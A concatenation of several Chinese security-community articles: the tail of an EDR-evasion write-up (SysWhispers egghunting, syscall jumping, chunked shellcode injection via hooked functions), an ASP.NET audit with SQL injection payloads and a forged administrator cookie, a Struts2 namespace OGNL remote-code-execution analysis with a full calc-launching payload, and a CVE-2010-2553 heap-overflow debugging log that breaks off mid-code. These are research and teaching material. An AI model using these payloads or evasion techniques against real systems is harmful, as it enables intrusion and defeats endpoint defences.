PWORD pwAddressOfNameOrdinales = (PWORD)((PBYTE)ImageBase + ExportTable->AddressOfNameOrdinals);
for (WORD cx = 0; cx < ExportTable->NumberOfNames; cx++)
{
PCHAR pczFunctionName = (PCHAR)((PBYTE)ImageBase + pdwAddressOfNames[cx]);
PVOID pFunctionAddress = (PBYTE)ImageBase + pdwAddressOfFunctions[pwAddressOfNameOrdinales[cx]];
if (strncmp((char*)pczFunctionName, "Zw",2) == 0) {
printf("Function Name:%s\tFunction Address:%p\n", pczFunctionName, pFunctionAddress);
Nt_Table[(int)pFunctionAddress] = (string)pczFunctionName;
}
}
int index = 0;
for (std::map<int, string>::iterator iter = Nt_Table.begin(); iter != Nt_Table.end(); ++iter) {
cout << "index:" << index << ' ' << iter->second << endl;
index += 1;
}
}
### 弱化syscall的特征
主要内容来自原文[SysWhispers is dead, long live
SysWhispers!](https://klezvirus.github.io/RedTeaming/AV_Evasion/NoSysWhisper/)
#### 使用int 2EH
syscall特征非常明显,静态特征就很容易被识别到：
针对这种情况，在SysWhispers2中就有所改良，如图:
找到了一种int 2EH替代syscall的办法，但随着攻防对抗的提升，该方法已经被检测。
#### egghunter
这里采用了egghunter的技术，先用彩蛋（一些随机的、唯一的、可识别的模式）替换syscall指令，然后在运行时，再在内存中搜索这个彩蛋，并使用ReadProcessMemory和WriteProcessMemory等WINAPI调用将其替换为syscall指令。之后，我们可以正常使用直接系统调用了。
关于egghunter的概念可以看fuzzysecurity的[二进制入门教程](https://www.fuzzysecurity.com/tutorials/expDev/4.html)。
我们在内存中使用db表示一个字节，比如我们在内存中.txt段写入"w00tw00t"的字节:
NtAllocateVirtualMemory PROC
mov [rsp +8], rcx ; Save registers.
mov [rsp+16], rdx
mov [rsp+24], r8
mov [rsp+32], r9
sub rsp, 28h
mov ecx, 003970B07h ; Load function hash into ECX.
call SW2_GetSyscallNumber ; Resolve function hash into syscall number.
add rsp, 28h
mov rcx, [rsp +8] ; Restore registers.
mov rdx, [rsp+16]
mov r8, [rsp+24]
mov r9, [rsp+32]
mov r10, rcx
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
DB 77h ; "w"
DB 0h ; "0"
DB 0h ; "0"
DB 74h ; "t"
ret
NtAllocateVirtualMemory ENDP
接下来要做的就是遍历程序内存，搜索这段彩蛋：
void FindAndReplace(unsigned char egg[], unsigned char replace[])
{
ULONG64 startAddress = 0;
ULONG64 size = 0;
GetMainModuleInformation(&startAddress, &size);
if (size <= 0) {
printf("[-] Error detecting main module size");
exit(1);
}
ULONG64 currentOffset = 0;
unsigned char* current = (unsigned char*)malloc(8*sizeof(unsigned char*));
size_t nBytesRead;
printf("Starting search from: 0x%llu\n", (ULONG64)startAddress + currentOffset);
while (currentOffset < size - 8)
{
currentOffset++;
LPVOID currentAddress = (LPVOID)(startAddress + currentOffset);
if(DEBUG > 0){
printf("Searching at 0x%llu\n", (ULONG64)currentAddress);
}
if (!ReadProcessMemory((HANDLE)((int)-1), currentAddress, current, 8, &nBytesRead)) {
printf("[-] Error reading from memory\n");
exit(1);
}
if (nBytesRead != 8) {
printf("[-] Error reading from memory\n");
continue;
}
if(DEBUG > 0){
for (int i = 0; i < nBytesRead; i++){
printf("%02x ", current[i]);
}
printf("\n");
}
if (memcmp(egg, current, 8) == 0)
{
printf("Found at %llu\n", (ULONG64)currentAddress);
WriteProcessMemory((HANDLE)((int)-1), currentAddress, replace, 8, &nBytesRead);
}
}
printf("Ended search at: 0x%llu\n", (ULONG64)startAddress + currentOffset);
free(current);
}
这样做虽然可以绕过静态的检测了但依旧存在问题，理论上syscall行为应该只存在ntdll中，而我们使用syscall是在当前程序中。简单的判断RIP就可以检测出我们的可疑行为。
常规调用流程：
恶意程序的调用流程：
针对RIP的检测，作者也给出了技术方案，还是比较简单的。在内存中搜索syscall的地址，直接jmp到该位置。即可让RIP指向ntdll。
#### [SysWhispers3](https://github.com/klezVirus/SysWhispers3)
上面提及的两种方法在SysWhispers3已经有所应用：
# Normal SysWhispers, 32-bits mode
py .\syswhispers.py --preset all -o syscalls_all -m jumper --arch x86
# Normal SysWhispers, using WOW64 in 32-bits mode (only specific functions)
py .\syswhispers.py --functions NtProtectVirtualMemory,NtWriteVirtualMemory -o syscalls_mem --arch x86 --wow64
# Egg-Hunting SysWhispers, to bypass the "mark of the sycall" (common function)
py .\syswhispers.py --preset common -o syscalls_common -m jumper
# Jumping/Jumping Randomized SysWhispers, to bypass dynamic RIP validation (all functions) using MinGW as the compiler
py .\syswhispers.py --preset all -o syscalls_all -m jumper -c mingw
使用的时候遇到了坑：
起初一直以为是mov r10,rcx报错，后来发现是下一句报错..无法直接往内存写。不知道怎么解决，生成jumper是可以使用的：
python3 syswhispers.py -p common -a x64 -c msvc -m jumper -v -d -o 1
## 规避常见的恶意API调用模式
本文主要根据[Bypassing EDR real-time injection detection
logic](https://blog.redbluepurple.io/offensive-research/bypassing-injection-detection)这篇文章，对常规的内存写入行为进行了变化，混淆了一些带有机器学习特征的edr的检测，从而避免了报警。
### 基础知识
#### windows api hook
我们首先找到内存中需要被hook的函数地址：
LPVOID lpDllExport = GetProcAddress(hJmpMod, jmpFuncName);
找到后将前七个字节改为跳转，如下
unsigned char jmpSc[7]{
0xB8, b[0], b[1], b[2], b[3],
0xFF, 0xE0
};
机器码对应的汇编指令大概是
move eax,xxxx
jmp eax
修改这部分内存
WriteProcessMemory(
hProc,
lpDllExport,
jmpSc,
sizeof(jmpSc),
&szWritten
);
这样我们就实现了劫持对应函执行流程的功能。如果想要维持函数原本的功能，保存原本的七个字节，在shellcode中再次替换这部分内存并jump回来。
#### Windows 内存分配的一些规则
1. 在windows 10 64位下，内存最小的分配粒度为4kB, [systeminfo](https://docs.microsoft.com/en-us/windows/win32/api/sysinfoapi/ns-sysinfoapi-system_info)结构体中，标识了这个变量，为内存分页的大小。
2. 在windows中，所有VirtualAllocEx分配的内存，会向上取整到AllocationGranularity的值，windows10下为64kb，比如：
我们在0x40000000的基址分配了4kB的MEM_COMMIT | MEM_RESERVE的内存，那么整块0x40010000
(64kB)区域将不能被重新分配。
### 实现原理
很多edr将创建远程线程的行为列为可疑行为，比如windows definder仅仅是做记录但并不报警，产生报警还有其他的判断逻辑，下图是atp的记录:
因此完全依赖于 ntdll!NtCreateThread(Ex) 是不准确的，正常的程序也可以调用这个api。
寻找报警和记录之间的差异，可以让我们实现edr的绕过。
作者基于几个操作对用户行为进行了混淆：
1. 与其分配一大块内存并直接将~250KB的implant shellcode写入该内存，不如分配小块但连续的内存，例如<64KB的内存，并将其标记为NO_ACCESS。然后，将shellcode按照相应的块大小写入这些内存页中。
2. 在上述的每一个操作之间引入延迟。这将增加执行shellcode所需的时间，但也会淡化连续执行模式。
3. 使用钩子，劫持RtlpWow64CtxFromAmd64函数，执行恶意shellcode
### [DripLoader](https://github.com/xuanxuan0/DripLoader)
搜索内存中，找到内存块属性为free的内存:
pre-define a list of 64-bit base addresses and VirtualQueryEx the target
process to find the first region able to fit our shellcode blob
寻找合适的内存基址，cVmResv即shellode长度/内存块大小+1，即一共需要多少块内存。当确定的基址连续cVmResv块的内存都free，返回这个基址:
延时执行
确保内存可以被分配：
这里函数使用syscall调用，ANtAVM对应NtAllocateVirtualMemory:
确保内存不到64kb的，以4kb切片可以被分配
写入内存，以4bits每次写入：
获取函数地址后进行hook -> jmp到我们shellcode的首地址
创建进程，运行我们的shellcode
可以成功执行shellcode:
### 源码
本文实现的例子相关代码均进行了开源：[EDR-Bypass-demo](https://github.com/7BitsTeam/EDR-Bypass-demo)
### 参考文章
<https://tttang.com/archive/1464/>
<https://github.com/am0nsec/HellsGate/>
<https://www.mdsec.co.uk/2020/12/bypassing-user-mode-hooks-and-direct-invocation-of-system-calls-for-red-teams>
<https://sonictk.github.io/asm_tutorial/> | 社区文章 |
# 0x00 简介
基础知识：
ASP.NET开发可以选用两种框架：`ASP.NET Core`与`ASP.NET Framework`
ASP.NET开发也分为两种：
> WebApplication：
WEB应用程序，改变代码后需要重启网页。具有namespace空间名称，项目中所有的程序代码文件，和独立的文件都被编译成为一个程序集，保存在bin文件夹中。
> WebSite：
WEB网站，改变代码后不用重启网页。它没用到namespace空间名称，每个asp页面会转成一个dll。
ASP.NET比较关键的文件：
> web.config:
1.web.config是基于XML的文件，可以保存到Web应用程序中的任何目录中，用来储存数据库连接字符、身份安全验证等。
2.加载方式：当前目录搜索 -> 上一级到根目录 -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/web.config -> %windir%/Microsoft.NET/Framework/v2.0.50727/CONFIG/machine.config -> 都不存在返回null
> Global.asax：
1. Global.asax提供全局可用的代码，从HttpApplication基类派生的类，响应的是应用程序级别会话级别事件，通常ASP.NET的全局过滤代码就是在这里面。
ASP.NET的常见拓展名：
在`%windir%\Microsoft.NET\Framework\v2.0.50727\CONFIG\web.config`中有详细定义，这里提取部分简单介绍。
```
aspx：应用程序根目录或子目录，包含web控件与其他
cs：类文件
aspx.cs：web窗体后台程序代码文件
ascx：应用程序根目录或子目录,Web 用户控件文件。
asmx：应用程序根目录或子目录，该文件包含通过 SOAP 方式可用于其他 Web 应用程序的类和方法。
asax：应用程序根目录，通常是Global.asax
config：应用程序根目录或子目录，通常是web.config
ashx：应用程序根目录或子目录,该文件包含实现 IHttpHandler 接口以处理所有传入请求的代码。
soap:应用程序根目录或子目录。soap拓展文件
```
# 0x01 注入
1.[windows 2008R2](https://msdn.itellyou.cn)
2.[SSMS数据库管理](https://docs.microsoft.com/zh-cn/sql/ssms/download-sql-server-management-studio-ssms?view=sql-server-ver15)
3.某系统
4.[dnSpy反编译](https://github.com/0xd4d/dnSpy)
## 熟悉框架
程序的文件目录
├─Admin
├─App_Data //App_Data文件夹应该包含应用程序的本地数据存储
├─bin // 包含应用程序所需的任何预生成的程序集
├─bootstrap
├─css
├─images
├─img
├─install
├─javascript
├─m
├─purchase
├─style
├─temp
├─Template
├─uploads
└─UserControl
WEB应用程序会把我们写的代码编译为DLL文件存放在Bin文件夹中，在ASPX文中基本就是一些控件名，所以需要反编译他的DLL来进行审计。
> Logout.aspx
<%@ Page Language="C#" AutoEventWireup="true" CodeBehind="Logout.aspx.cs" Inherits="Book.Logout" %>
<html xmlns="http://www.w3.org/1999/xhtml" >
.
.
.
</html>
在文件头中有这几个参数：
1.Language="C#" //脚本语言
2.AutoEventWireup="true" //是否自动关联某些特殊事件
3.CodeBehind="Logout.aspx.cs" //指定包含与页关联的类的已编译文件的名称
4.Inherits="Book.Logout" //定义供页继承的代码隐藏类
我们所关注的也就是`Inherits`
的值，如上所示他指向了`Bin`目录下的`purchase.dll`中`Book`类的`Logout`函数（注：purchase.dll是网站编译的项目名，一般与文件目录对应）
> web.config
这个文件包含了目录权限控制、数据库密码等等
<location path="purchase/orderdetail.aspx">
<system.web>
<authorization>
<allow users="*"/>
</authorization>
</system.web>
</location>
<authentication mode="Forms" />
比如我们使用的这套程序中[authorization](https://www.cnblogs.com/BlogShen/archive/2012/05/26/2519583.html)定义了`purchase/orderdetail.aspx`匿名可以访问，但是这套程序的本页面还写了一套验证
if (this.uid <= 0)
{
if (!(base.Request.QueryString["g"] == "p"))
{
base.Response.Redirect("../login.aspx");
return;
}
this.ph_pdf.Visible = false;
}
所以我们只需要访问`purchase/orderdetail.aspx?g=p`即可绕过跳转
，其中`<authentication mode="Forms" />`表示Form 表单认证。
在ASP.NET中全局过滤一般用到`Global.asax`至于他为什么可以起到全局过滤的作用可以看看[ASP.NET三剑客](https://blog.csdn.net/ZARA0830/article/details/80384263)。当然这套程序并没有全局过滤，在提交多个漏洞后，官网公告说这套程序建议内网部署，官网让公网部署的用户设置了身份验证:
<system.web>
<authorization>
<deny users= "?"/>
</authorization>
</system.web>
但是这套程序安装会默认插入多条用户数据。
## 审计注入
首先我们来看`Login.aspx`，前面已经贴过代码，我们需要反编译`purchase.dll`去找`Book.Login`，这里使用`dyspy`
`login.aspx`->`Button1_Click`->`LoginForm()`在login中控件名对应dll
public void LoginForm()
{
int num = UsersHelper.Login(this.txt_username.Text, this.txt_pwd.Text);
if (num > 0)
{
base.Response.Redirect(FormsAuthentication.GetRedirectUrl(num.ToString(), true));
}
else
{
Helper.Result(this, "用户名或者密码错误");
}
}
跟进`UsersHelper.Login`
public static int Login(string username, string password)
{
string sql = " select uid from users_users where username=@username and password=@password; ";
SqlParameter[] prams = new SqlParameter[]
{
new SqlParameter("@username", username),
new SqlParameter("@password", Helper.Encrypt(password))
};
object obj = Instance.ExeScalar(sql, prams);
if (obj == null || obj == DBNull.Value)
{
return -1;
}
int num = int.Parse(obj.ToString());
if (num > 0)
{
UsersHelper.Login(num);
}
return num;
}
这里使用的是参数化查询，所以这里不存在注入。登陆后的注入很多这里选一个。
> search.aspx
这里剔除了部分无用代码，可以看到没有经过任何过滤，控件的值就拼接到`text`字符串,由`Instance.ExeDataSet(text)`执行，跟进`ExeDataSet`函数
没有过滤直接带入查询，如果你觉得从代码来看sql语句很麻烦，这里可以使用`Sql Sever Profiler`监控SQL语句。
> Payload: `1%' and 1=user--`
前面说到`purchase/orderdetail.aspx?g=p`可以绕过直接访问，具体原因可以移步[《第二章：越权》](第二章：越权.md)，那么我们看看这个是否存在注入，如果存在那么将是一个前台注入。
看到`69-88`行，要执行命令需要`this.isview`为`true` ，在`30-36`行赋值只需要`t=view`即可
`sid`没有经过任何过滤，同时`ExeDataSet`函数也不存在过滤，即存在注入。
> Payload: `purchase/orderdetail.aspx?g=p&t=view&sid=1%20and%201=user--`
# 0x02 越权
## ASP.NET安全认证
1.在`web.config`中有四种验证模式：
方式 | 描述
---|---
window | IIS验证，在内联网环境中非常有用
Passport | 微软集中式身份验证，一次登录便可访问所有成员站点，需要收费
Form | 窗体验证，验证帐号/密码，Web编程最佳最流行的验证方式
None | 表示ASP.NET自己根本不执行身份验证，完全依赖IIS身份验证
其中`FORM`窗体验证的流程图：
开启`form`窗体验证的同时还需要配置`web.config`，不然就会出现问题，一般来说还需要配置最基本的页面访问权限,比如禁止匿名用户访问。
<system.web>
<authorization>
<deny users="?"/>
</authorization>
</system.web>
当然还可以设置一些管理页面允许某某用户访问等等，在这套程序中开启了`form`然后在程序里面验证的`cookies`，而且并没有设置所有页面的`authorization`。
2.除去`web.config`的配置通常还有两种写法来验证是否登陆。
第一种：在每个页面判断`Session["UserName"]是否等于null`
第二种：类似php的`include`的继承，这也是本套程序使用的方法。
首先他定义了一个`purchase.Master`
[母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html) 在里面写上了权限验证的代码。
然后次母版页头文件会引入`MasterPageFile="~/purchase/purchase.Master"`调用之前都会先调用母版页的`Page_Load`函数来验证是否登陆。当然你也可能遇到没有使用[母版页](https://www.cnblogs.com/WuNaiHuaLuo/p/4509774.html)的程序，那么他可能是先定义一个`onepage`类继承`page`,然后其他页面继承`onepage`类，与此相同。
## 寻找越权
例1：
比如没有任何验证的，也没有继承验证类的，无需登陆访问
例2：
这套程序验证权限的地方比较少，只是简单的判断了是否登陆，登陆后基本可以访问大多数管理页面这里。
例3：
在`MyProfile.aspx`文件中 直接获取表单数据进行`update`，并没有验证权限，导致低权限账号也可以`update
admin`但是这里是参数化查询，所以不存在注入。修改`admin`的账号密码为`1234567`。
例4：
前面说到这套程序里面验证的`cookies`，而且并没有设置所有页面的`authorization`权限，所以我们能不能伪造cookie呢。
在`23-26`行判断`this.uid`的值来进行跳转，在`16`行定义了他的值，跟进`UserHelper.GetUserId`
public static int GetUserId
{
get
{
if (Helper.IsUseAd && HttpContext.Current.Request.Cookies["userinfo"] == null)
{
UsersHelper.LoginAd(UserHelper.GetSamaccountName());
}
if (HttpContext.Current.Request.Cookies["userinfo"] != null)
{
return int.Parse(HttpContext.Current.Request.Cookies["userinfo"]["userid"]);
}
return -1;
}
}
`this.uid`等于`cookies`中获取的`userinfo`的值，这一步可以伪造，接着我们看到`30-33`这里他设置了管理员的布尔值，跟进`RoleHelper.IsAdmin`
public static bool IsAdmin
{
get
{
string name = "IsAdmin";
string admin = RoleHelper.Admin;
bool? flag = HttpContext.Current.Session[name] as bool?;
if (flag == null)
{
flag = new bool?(UserHelper.IsInAnyRoles(admin));
HttpContext.Current.Session[name] = flag;
}
return flag.Value;
}
}
前面从`session`中获取，如果`flag`为`null`则从`UserHelper.IsInAnyRoles(admin)`获取。
跟进`IsInAnyRoles`
可以看到只要我们传入的`cookies`中`roles`的等于传入的数组值就返回`true`其中 `public static string Admin =
"administrators";`,所以构造`cookies`:`userinfo=userid=1&roles=administrators;`
项目地址：<https://github.com/aleenzz/.NET_study/tree/master/asp.net_bug>
有问题还请大佬们指出QAQ | 社区文章 |
一、 漏洞描述
当struts.mapper.alwaysSelectFullNamespace设置为true，并且package标签页以及result的param标签页的namespace值的缺失，或使用了通配符时可造成namespace被控制，最终namespace会被带入OGNL语句执行，从而产生远程代码执行漏洞。
1. 受影响的系统版本
Apache Struts 2.3 - Struts 2.3.34
Apache Struts 2.5 - Struts 2.5.16
环境搭建
1.下载：<http://archive.apache.org/dist/struts/2.3.34/struts-2.3.34-all.zip用IDEA打开>
2.首先修改配置文件\struts-2.3.34\src\apps\showcase\src\main\resources\struts-actionchaining.xml为
<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE struts PUBLIC
"-//Apache Software Foundation//DTD Struts Configuration 2.3//EN"
"http://struts.apache.org/dtds/struts-2.3.dtd">
<struts>
<package name="actionchaining" extends="struts-default">
<action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1">
<result type="redirectAction">
<param name = "actionName">register2</param>
</result>
</action>
</package>
</struts>
3.在struts-2.3.34\src\apps\showcase\src\main\resources\struts.xml中添加
<constant name="struts.mapper.alwaysSelectFullNamespace" value="true" />
4.添加tomcat之后运行即可
漏洞复现
1.访问<http://localhost:8081/${(111+111)}/actionChain1.action>
2.弹出计算器
/struts2_showcase_war_exploded/showcase/${(#[email protected]@DEFAULT_MEMBER_ACCESS).(#ct=#request['struts.valueStack'].context).(#cr=#ct['com.opensymphony.xwork2.ActionContext.container']).(#ou=#cr.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ou.getExcludedPackageNames().clear()).(#ou.getExcludedClasses().clear()).(#ct.setMemberAccess(#dm)).(#[email protected]@getRuntime().exec("calc"))}/actionChain1.action
漏洞分析
我主要分析了两种攻击点一：Redirect action和攻击点二：Postback
result为了方便调试我用了/${(111+111)}进行分析更能展现出ONGL注入时的过程
Redirect action：
1.第一种方式在\struts-2.3.34\src\xwork-core\src\main\ja
va\com\opensymphony\xwork2\DefaultActionInvocation.java#
@executeResult()处下断点进行调试
2.进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\ServletActionRedirectResult.java#
@execute（）
3.进入\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionProxy.java#@getNamespace()可以看到result对象的namespace即为/${(111+111)}。
4.回到execute()
进入struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#@getUriFromActionMapping（），跟入handleNamespace（）观察如何处理值
5.handleNamespace最终结果如下
6.返回到execute（）跟进super.execute（）
7.可以看到最后通过
\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java#
@doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
Postback result：
第二种方法
1.先修改struts.actionchaing.xml中内容
2.在\struts-2.3.34\src\xwork-core\src\main\java\com\opensymphony\xwork2\DefaultActionInvocation.java#
@executeResult()可以看到 这个result对象的处理方式为 postback
3.进入execute(),跟进makePostbackUri
4.跟进\struts2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\mapper\DefaultActionMapper.java#
@getUriFromActionMapping() ，进入handleNamespace（）观察处理值过
程
5.handleNamespace()处理值过程如下
6.回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java
# @makePostbackUri（）
可以看到postbackUri为/${(111+111)}/register2.action
7.我们继续回到\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\PostbackResult.java#
@execute()方法中往下走到super.execute()跟进
8.可以看到最后通过
\struts-2.3.34\src\core\src\main\java\org\apache\struts2\dispatcher\StrutsResultSupport.java#
@doExecute()
lastFinaLocation 111+111=222 即产生了OGNL注入。
修复建议
1. 官方补丁
目前官方已发布最新版本来修复此漏洞，受影响的用户请尽快升级到Apache Struts 2.3.35 或 Struts
2.5.17版本：<https://struts.apache.org/download.cgi#struts2517。>
2. 手工修复
修改配置文件：
固定package标签页以及result的param标签页的namespace值，以及禁止使用通配符。
参考：<https://www.freebuf.com/vuls/182101.html>
<https://xz.aliyun.com/t/2618#toc-5> | 社区文章 |
# 漏洞分析学习之cve-2010-2553
测试环境：
X | 推荐环境 | 备注
---|---|---
操作系统 | win_xp_sp3 | 简体中文版
虚拟机 | vmware | 15.5
调试器 | Windbg | Windbg_x86
反汇编器 | IDA pro | 版本号：7.0
漏洞软件 | Windows Media Player | 版本号: 9.00.00.4503
## 开始准备
堆调试还是首先配置环境，这里符号表我是直接下载好离线的，然后设置路径就行了
具体可以自行查找离线符号表，对应版本号为xp_sp3
这里偶然看到大佬发的cdn，跟设置普通符号表路径一样，自行查看设置，我没测试过
http://sym.ax2401.com:9999/symbols/
这里还有一份ftp下载的
https://ftp.acc.umu.se/mirror/archive/ftp.sunet.se/pub/security/vendor/microsoft/winxp/Service_Packs/
自行尝试，我已经下载了一份解决了
至于poc什么的,可以从漏洞战争随书资料获取
## 基于POC的逆向分析
地址 | 命令
---|---
73b7cbee | call iccvid!CVDecompress (73b721ae)
73b722cc | rep movs dword ptr es:[edi],dword ptr [esi]
首先,打开Windows Media Player, 附加后,开启页堆
!gflag +hpa
然后打开poc文件,最终在这里断下
通过栈回溯
kb
获取到上一层,通过ub命令找到上一层调用,
这里是7个参数
同样记录下来,这时候通过
sxe ld:iccvid
下断,在加载这个模块的时候断下,因为是动态加载的,没办法直接对其下断,在加载模块下断后,才能下指定地址
再次g运行,然后跟进去,这里我不会根据漏洞战争这本书进行复现,因为一开头就给繁杂的复现过程不是最好的方法,逆向逆向,我觉得逆着来分析才更可靠一些,
首先这是堆溢出,合理的猜测,poc应该是有大量数据复制的时候才会造成堆溢出, 也就是类似于
rep movs dword ptr es:[edi],dword ptr [esi]
我单步不知道单步了多久发觉了最可疑的地方,
前面的都是那种粗略的测试, 这里你看关键数据,0x2000,以及ecx为0x800,还有rep 每次复制的是dword
0x800*4个字节=3200个字节=0x2000个字节,也就是说每次复制0x2000个数据,
此时看到
edi的堆用户数据大小为0x6000,如果每次复制0x2000个数据,超过三次,势必会造成溢出,也就是说我们要找到,哪里是规定复制次数的,暂时记住这个地址
73b722cc
继续单步,他肯定会往回跳
每次循环都会跳到这里,然后往回跳,同时注意的是,往下走几步过户出现了比较,而这里edx为0x414141,不难想到,这里也是poc破坏的地方
追了几次过后,发觉大概都是在做同样的事,取结构,求长度,复制,
看到这里,add的时候,已经到6000了,接下来再次复制便会溢出了,
这是我认为的思路,接下来根据漏洞战争的思路在走一遍
## 基于POC的过程复现
这个过程照着漏洞战争的思路复现一遍,前面加调试部分不再重复,直接到进入call,进行调试具体细节看漏洞战争,只点出我认为比较重要的点
比较CVID数据长度是否小于0x20,
接下来一堆赋值便是取结构内容了,
截取自漏洞战争
看这里取法,若要取cvid数据长度,便是要取int的后三个字节,也就是类似这种取法,
73b721f0 8a6601 mov ah,byte ptr [esi+1]
73b721f3 0fb64e03 movzx ecx,byte ptr [esi+3]
73b721f7 8a4602 mov al,byte ptr [esi+2]
73b721fa c1e008 shl eax,8
73b721fd 0bc1 or eax,ecx
假设esi指向内容为为 0xffbbccee 则 ah=0xcc , al = 0xbb, eax=0xccbb ecx=0xff , shl
就是变成0xccbb00,在 | ecx就是刚好是0xccbbff
千万不要被图迷惑了,图是这样排布的
而内存中不是,内存中为CVID数据长度, FLAG,也就是最后一位才是FLAG
接下来看到ULongSub函数
猜测是减法,还是查询下,在百度无果后,谷歌一下就找到了
[微软文档](https://docs.microsoft.com/en-us/windows/win32/api/intsafe/nf-intsafe-ulongsub) 就是一个减法, 这里ULongSub就是第一个参数 CVID数据长度减去0xA,也就是这里是判断CVID数据长度是否大于0xA
接下来看到他是比较编码条长度是否大于0x10,从原来的结构图可以推断出来
看下esi数据吧,这样好看一些
也就是说
FLAG为0x00
CVID数据长度为0x000068
编码帧宽度为0x0160
编码帧高度为0x0120
编码条数量为0x0010
这里都要从高位开始读起,开头读取错了..
然后0xA过后便是Strip Header了
截取漏洞战争
然后接下来是
这里说实话我不知道这里是干什么的,看书知道是未解压缩的数据与0x16比较,而我也没有找到证据证明,暂时先过,只知道跟0x5e跟0x16比较
然后
这里毋庸置疑又是取结构数据,而且又是取低三个字节,这里取的是0x10,按照文章所说数据结构,应该是不会这么取值的,这里又是取三个字节,google一番还是只有文中提到的[那篇文章](https://multimedia.cx/mirror/cinepak.txt)
我觉得这里结构应该为
编码条id 占1个字节, 编码条数据大小占3个字节,
保存后,再次比较比较编码条id是否大于0x10,我觉得猜测是正确的
这里判断编码条数量是否大于0xC,
这里就是取顶部加底部的Y坐标,一相减便是高度?
又是未知操作,然后跳转回原来的0x73b723af,然后经过一堆跳,跳来跳去,终于到了快复制数据的地方
这里已经增加底部复制数据了
比较未解压数据是否大于0x16
这里是比较id=0x11而不是0x1100?书里说是0x1100,这里为11是不跳转,也就是可以复制数据
终于追到了复制部分
这里看到UserSize也是0x6000,复制多几次的话就会Bomb
而可以知道,
判断 CVID数据长度>= 0x20 同时编码条id为0x11的大于3条就会造成堆溢出,未解压数据超过
## 基于源码的分析
首先利用断在指定模块处的命令断下后,
利用
lmv m iccvid
获取dll位置以及符号位置
我这里拿到后,将两个文件放在同一目录下,打开ida进行查看
跳转到指定地址73b721ae,这里已经将pdb导入了,很明显漏洞点在这里
但是,打开这个源码并不会让我减轻多少压力,幸亏前面动手调试了,大概个流程还是知道的
首先
然后
这里贴出完整注释代码
signed int __stdcall CVDecompress(unsigned int a1, _BYTE *a2, unsigned int a3, int a4, int a5, int a6, int a7)
{
unsigned int v7; // ebx
_BYTE *v8; // esi
int v9; // ST18_4
signed int result; // eax
_BYTE *v11; // esi
int v12; // eax
unsigned __int16 v13; // ax
_BYTE *v14; // esi
unsigned __int16 v15; // cx
unsigned __int16 v16; // ax
unsigned __int16 v17; // cx
int v18; // eax
int v19; // edi
unsigned __int8 *v20; // ecx
unsigned __int16 v21; // dx
unsigned int v22; // edx
signed int v23; // eax
unsigned int v24; // [esp+Ch] [ebp-20h]
int v25; // [esp+10h] [ebp-1Ch]
_BYTE *v26; // [esp+14h] [ebp-18h]
int v27; // [esp+14h] [ebp-18h]
int v28; // [esp+18h] [ebp-14h]
unsigned int v29; // [esp+1Ch] [ebp-10h]
_BYTE *v30; // [esp+20h] [ebp-Ch]
unsigned int v31; // [esp+24h] [ebp-8h]
int v32; // [esp+28h] [ebp-4h]
v7 = a1;
v8 = *(_BYTE **)(a1 + 36);
if ( v8 )
{
v9 = a7;
*(_DWORD *)(a1 + 36) = 0;
CVDecompress(v7, v8, 0x2446u, 0, 0, 0, v9);
LocalFree(v8);
}
result = 0;
if ( a3 >= 0x20 ) // 传入参数为0x68,这里说是CVID数据大小,下面便是获取CVID数据大小并判断
{
v11 = a2;
BYTE1(result) = a2[1];
LOBYTE(result) = a2[2];
v12 = (unsigned __int8)a2[3] | (result << 8);
if ( (signed int)a3 < v12 || (HIBYTE(a3) = *a2, ULongSub(v12, 0xAu, &v29) < 0) )// 判断CVID数据大小是否大于0xA
{
LABEL_33:
result = 0;
}
else
{
HIBYTE(v13) = v11[8];
v14 = v11 + 10;
v28 = 0;
v26 = v14;
v30 = v14;
LOBYTE(v13) = *(v14 - 1);
v25 = v13;
if ( (signed int)v13 > 0 )
{
v32 = 0;
do
{
if ( v29 < 0x16 ) // 比较未解压数据是否大于0x16
break;
HIBYTE(v15) = v14[1];
LOBYTE(v15) = v14[2];
v31 = (unsigned __int8)v14[3] | (v15 << 8);// 取数据结构
if ( v29 < v31 )
break;
if ( *v14 == 0x10 || *v14 == 0x11 ) // 比较编码条id
{
if ( ULongSub(v31, 0xCu, &a1) < 0 ) // 判断是否大于0xC
goto LABEL_33;
HIBYTE(v16) = v14[8]; // 这部分取结构求宽度
HIBYTE(v17) = v14[4];
LOBYTE(v16) = v14[9];
LOBYTE(v17) = v14[5];
v18 = v16 - v17;
LOWORD(v18) = *(_WORD *)(v7 + 46) * v18;
a2 = (_BYTE *)v18;
if ( v32 && !HIBYTE(a3) && *v14 == 0x11 )// 只有当编码条id为0x11的时候才会进行复制数据
{
qmemcpy(
(void *)(*(_DWORD *)(v7 + 28) + v32),
(const void *)(*(_DWORD *)(v7 + 28) + v32 - 0x2000),
0x2000u);
v14 = v26;
}
v19 = (int)(v30 + 12);
v20 = v14 + 12;
*(_DWORD *)(v7 + 56) = v32 + *(_DWORD *)(v7 + 32);
v27 = (int)(v14 + 12);
*(_DWORD *)(v7 + 60) = a7;
while ( a1 >= 4 )
{
HIBYTE(v21) = v20[1];
LOBYTE(v21) = v20[2];
v22 = v20[3] | (v21 << 8);
v24 = v22;
if ( a1 < v22 )
break;
switch ( *v20 )
{
case 0x20u:
case 0x21u:
case 0x24u:
case 0x25u:
(*(void (__stdcall **)(int, _DWORD, _DWORD, _DWORD))v7)(
v19,
*(_DWORD *)(v7 + 56),
*(_DWORD *)(v7 + 52),
*(_DWORD *)(v7 + 48));
break;
case 0x22u:
case 0x23u:
case 0x26u:
case 0x27u:
(*(void (__stdcall **)(int, int, _DWORD, _DWORD))(v7 + 4))(
v19,
*(_DWORD *)(v7 + 56) + 4096,
